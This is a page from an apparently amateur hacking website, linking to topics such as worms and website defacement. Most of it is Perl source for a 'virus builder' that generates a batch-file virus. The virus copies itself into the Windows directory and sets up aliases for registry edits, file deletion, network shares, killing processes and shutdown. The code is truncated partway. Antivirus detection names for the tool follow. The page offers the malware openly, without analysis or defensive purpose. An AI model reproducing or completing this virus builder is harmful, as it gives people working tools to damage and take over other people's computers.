INFIMATE

Help links for Network Netgear Worms PRINT SERVER Website Deface How to use Telnet MSDOS Hacking Read Email Headers IE Loopholes

Your Guide To Networking

link.jpg

logo.gif

netgear.gif

dlink_logo.gif

logo_head.gif

2wire_logo.gif

You uust be be wondering why the Hell do I not have a Good looking site. I have another website which is much better. This site contains all the bad stuff. I have deliberately not update or modified the site so that it won't attract traffic.

 

<$This is a virus/>

» Perl.INFIMATE(DAV).a (Release 11 Jan 2005)


#!/usr/local/bin/perl
# Virus Builder
# by dav
$vname = '';
$vwriter = '';
$vbsmsgtxt = '';
$vtime = '';

print("*******************\n");
print("DAV's Virus Builder\n");
print("BAT/VIRUS\n");
print("*******************\n");
print("\n");

print("VirusName?\n");
chomp ($vname = <STDIN>);
print("\n");
print("Author?\n");
chomp ($vwriter = <STDIN>);
print("\n");
open(FH,">virus.bat");
print FH '@echo off';
print FH "\n";
close(FH);
open(FH,">>virus.bat");
print FH "rem $vname - Virus\n";
print FH "rem by $vwriter\n";
print FH "rem ** generated with dav's virus builder v.1.0 in perl **\n";
print FH "set dav=echo\n";
print FH "set davv=copy\n";
print FH "set davvv=reg add\n";
print FH "set davvvv=del\n";
print FH "set davvvvv=net share\n";
print FH "set davvvvvv=cls\n";
print FH "set davvvvvvv=taskkill\n";
print FH "set davvvvvvvv=ren\n";
print FH "set davvvvvvvvv=call\n";
print FH "set davvvvvvvvvv=shutdown\n";
print FH "%davv% %0 %windir%\\vwin.bat > nul";
print FH "\n";
close(FH);
...

Constructor.Perl.INFIMATE.DAV.a (Sinlug Lab), Troj/Divdavkt-A (Sophos), PERL_DIVDAVV.A (Trend Micro), KIT/DavsBatch.1 (H+BEDV), Constructor.Perl.INFIMATE.A (ClamAV), Constructor/Infimatepel. (Panda)

copyright by infimate - "nothing is true, everything is permitted"

small_velocimetro_uk.jpg

For any further contacts, write to: patrickinfimate@consultant.com

link-computer.jpg